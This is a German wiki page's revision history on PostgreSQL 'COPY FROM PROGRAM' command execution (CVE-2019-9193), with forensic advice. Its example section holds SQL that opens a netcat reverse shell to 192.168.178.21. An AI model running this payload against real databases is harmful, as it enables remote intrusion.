PostgreSQL Command Execution - Versionsgeschichte

St190833 am 21. Februar 2022 um 08:50 Uhr

2022-02-21T08:50:19Z

← Nächstältere Version		Version vom 21. Februar 2022, 08:50 Uhr
Zeile 1:		Zeile 1:
	== PostgreSQL Command Execution ==		== PostgreSQL Command Execution ==

	In PostgreSQL steht den Superusern sowie Benutzern, welche der Gruppe pg_execute_server_program zugeordnet sind, die Funktion "COPY TO/FROM PROGRAM" zur Verfügung. Diese Funktion erlaubt es beliebigen Code im Kontext des Betriebssystembenutzers der Datenbank auszuführen. Die Funktion ist per default aktiviert und kann z.B. mit Hilfe von SQL Injection missbraucht werden um beliebige Befehle des Betriebssystems auszuführen (Postgres ist auf Windows, Linux sowie MacOS lauffähig).		In PostgreSQL steht den Superusern sowie Benutzern, welche der Gruppe pg_execute_server_program zugeordnet sind, die Funktion "COPY TO/FROM PROGRAM" zur Verfügung. Diese Funktion erlaubt es beliebigen Code im Kontext des Betriebssystembenutzers der Datenbank auszuführen. Die Funktion ist per default aktiviert und kann z.B. mit Hilfe von SQL Injection missbraucht werden um beliebige Befehle des Betriebssystems auszuführen (Postgres ist auf Windows, Linux sowie MacOS lauffähig). <ref>[https://www.postgresql.org/docs/current/sql-copy.html ''Postgres SQL COPY Funktion''] Website des Postgres Projektes. Abgerufen am 21. Februar 2022.</ref>

	Im Jahr 2019 wurde die Funktion als Schwachstelle gemeldet und bekam eine CVE Nummer (CVE-2019-9193).		Im Jahr 2019 wurde die Funktion als Schwachstelle gemeldet und bekam eine CVE Nummer (CVE-2019-9193). <ref>[https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9193 ''CVE Eintrag 2019-9193 ''] CVE Datenbank. Abgerufen am 21. Februar 2022.</ref>

	Die Entwickler Postgres argumentieren hierzu, dass es sich dabei nicht um eine Schwachstelle handelt, da die Datenbank nie im Kontext eines Superuser läuft und es um nur um einen zusätzlichen Befehle innerhalb der bereits bestehenden Sicherheitsgrenzen des Betriebssystems handelt.		Die Entwickler Postgres argumentieren hierzu, dass es sich dabei nicht um eine Schwachstelle handelt, da die Datenbank nie im Kontext eines Superuser läuft und es um nur um einen zusätzlichen Befehle innerhalb der bereits bestehenden Sicherheitsgrenzen des Betriebssystems handelt. <ref>[https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935 ''Entwicklerantwort zu CVE-2019-9193''] Website des Postgres Projektes. Abgerufen am 21. Februar 2022.</ref>

	== Beispiel ==		== Beispiel ==
Zeile 15:		Zeile 15:
	SELECT * FROM cmd_exec;		SELECT * FROM cmd_exec;

	Unter der CVE ist ebenfalls ein Metasploit Modul zu finden, welche in der Lage ist die Funktion auszunutzen.		Unter der CVE ist ebenfalls ein Metasploit Modul zu finden, welche in der Lage ist die Funktion auszunutzen. <ref>[https://meterpreter.org/cve-2019-9193-postgresql-arbitrary-code-execution ''PostgreSQL Arbitrary Code Execution Vulnerability Alert''] Nachricht zum Metasploit Modul. Abgerufen am 21. Februar 2022.</ref>

	== Forensische Maßnahmen ==		== Forensische Maßnahmen ==
Zeile 22:		Zeile 22:

	== Quellen ==		== Quellen ==

	~~https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9193<br>~~
	~~https://meterpreter.org/cve-2019-9193-postgresql-arbitrary-code-execution/<br>~~
	~~https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/<br>~~
	~~https://www.postgresql.org/docs/current/sql-copy.html~~

St190709 am 18. Februar 2022 um 17:35 Uhr

2022-02-18T17:35:24Z

← Nächstältere Version		Version vom 18. Februar 2022, 17:35 Uhr
Zeile 1:		Zeile 1:
	== PostgreSQL Command Execution ==		== PostgreSQL Command Execution ==

	In PostgreSQL steht den ~~superusern~~ sowie Benutzern, welche der Gruppe pg_execute_server_program zugeordnet sind, die Funktion "COPY TO/FROM PROGRAM" zur Verfügung. Diese Funktion erlaubt es beliebigen Code im Kontext des Betriebssystembenutzers der Datenbank auszuführen. Die Funktion ist per default aktiviert und kann z.B. mit Hilfe von SQL Injection missbraucht werden um beliebige Befehle des Betriebssystems auszuführen (Postgres ist auf Windows, Linux sowie MacOS lauffähig).		In PostgreSQL steht den Superusern sowie Benutzern, welche der Gruppe pg_execute_server_program zugeordnet sind, die Funktion "COPY TO/FROM PROGRAM" zur Verfügung. Diese Funktion erlaubt es beliebigen Code im Kontext des Betriebssystembenutzers der Datenbank auszuführen. Die Funktion ist per default aktiviert und kann z.B. mit Hilfe von SQL Injection missbraucht werden um beliebige Befehle des Betriebssystems auszuführen (Postgres ist auf Windows, Linux sowie MacOS lauffähig).

	Im Jahr 2019 wurde die Funktion als Schwachstelle gemeldet und bekam eine CVE Nummer (CVE-2019-9193).		Im Jahr 2019 wurde die Funktion als Schwachstelle gemeldet und bekam eine CVE Nummer (CVE-2019-9193).
Zeile 9:		Zeile 9:
	== Beispiel ==		== Beispiel ==

	Ein Beispiel zum Ausnutzen dieser Funktion ist ~~folgendes Beispiel~~. Hier wird eine Reverseshell mittels nc auf den Host 192.168.178.21 geöffnet.		Ein Beispiel zum Ausnutzen dieser Funktion ist Folgendes. Hier wird eine Reverseshell mittels nc auf den Host 192.168.178.21 geöffnet.

	CREATE TABLE cmd_exec(cmd_output text);<br>		CREATE TABLE cmd_exec(cmd_output text);<br>
Zeile 16:		Zeile 16:

	Unter der CVE ist ebenfalls ein Metasploit Modul zu finden, welche in der Lage ist die Funktion auszunutzen.		Unter der CVE ist ebenfalls ein Metasploit Modul zu finden, welche in der Lage ist die Funktion auszunutzen.

			== Forensische Maßnahmen ==

			Sollte bei der Datenbank Forensik eine Hinweis auf das Nutzen der Copy Funktion gefunden werden, ist die Forensik auf Logfiles des Betriebssystems zu erweitern. Idealerweise wird auf Logfiles außerhalb des Betriebssystems zurückgegriffen, da die Manipulation von Logfiles ein potenzielles Risiko darstellt.

	== Quellen ==		== Quellen ==
Zeile 21:		Zeile 25:
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9193<br>		https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9193<br>
	https://meterpreter.org/cve-2019-9193-postgresql-arbitrary-code-execution/<br>		https://meterpreter.org/cve-2019-9193-postgresql-arbitrary-code-execution/<br>
	https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/		https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/<br>
			https://www.postgresql.org/docs/current/sql-copy.html

St190709: Die Seite wurde neu angelegt: „== PostgreSQL Command Execution == In PostgreSQL steht den superusern sowie Benutzern, welche der Gruppe pg_execute_server_program zugeordnet sind, die Funkti…“

2022-02-18T17:23:43Z

Die Seite wurde neu angelegt: „== PostgreSQL Command Execution == In PostgreSQL steht den superusern sowie Benutzern, welche der Gruppe pg_execute_server_program zugeordnet sind, die Funkti…“

Neue Seite

== PostgreSQL Command Execution ==

In PostgreSQL steht den superusern sowie Benutzern, welche der Gruppe pg_execute_server_program zugeordnet sind, die Funktion "COPY TO/FROM PROGRAM" zur Verfügung. Diese Funktion erlaubt es beliebigen Code im Kontext des Betriebssystembenutzers der Datenbank auszuführen. Die Funktion ist per default aktiviert und kann z.B. mit Hilfe von SQL Injection missbraucht werden um beliebige Befehle des Betriebssystems auszuführen (Postgres ist auf Windows, Linux sowie MacOS lauffähig).

Im Jahr 2019 wurde die Funktion als Schwachstelle gemeldet und bekam eine CVE Nummer (CVE-2019-9193).

Die Entwickler Postgres argumentieren hierzu, dass es sich dabei nicht um eine Schwachstelle handelt, da die Datenbank nie im Kontext eines Superuser läuft und es um nur um einen zusätzlichen Befehle innerhalb der bereits bestehenden Sicherheitsgrenzen des Betriebssystems handelt.

== Beispiel ==

Ein Beispiel zum Ausnutzen dieser Funktion ist folgendes Beispiel. Hier wird eine Reverseshell mittels nc auf den Host 192.168.178.21 geöffnet.

CREATE TABLE cmd_exec(cmd_output text);<br>
COPY cmd_exec FROM PROGRAM 'nc 192.168.178.21 4242 -e /bin/bash';<br>
SELECT * FROM cmd_exec;

Unter der CVE ist ebenfalls ein Metasploit Modul zu finden, welche in der Lage ist die Funktion auszunutzen.

== Quellen ==

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9193<br>
https://meterpreter.org/cve-2019-9193-postgresql-arbitrary-code-execution/<br>
https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/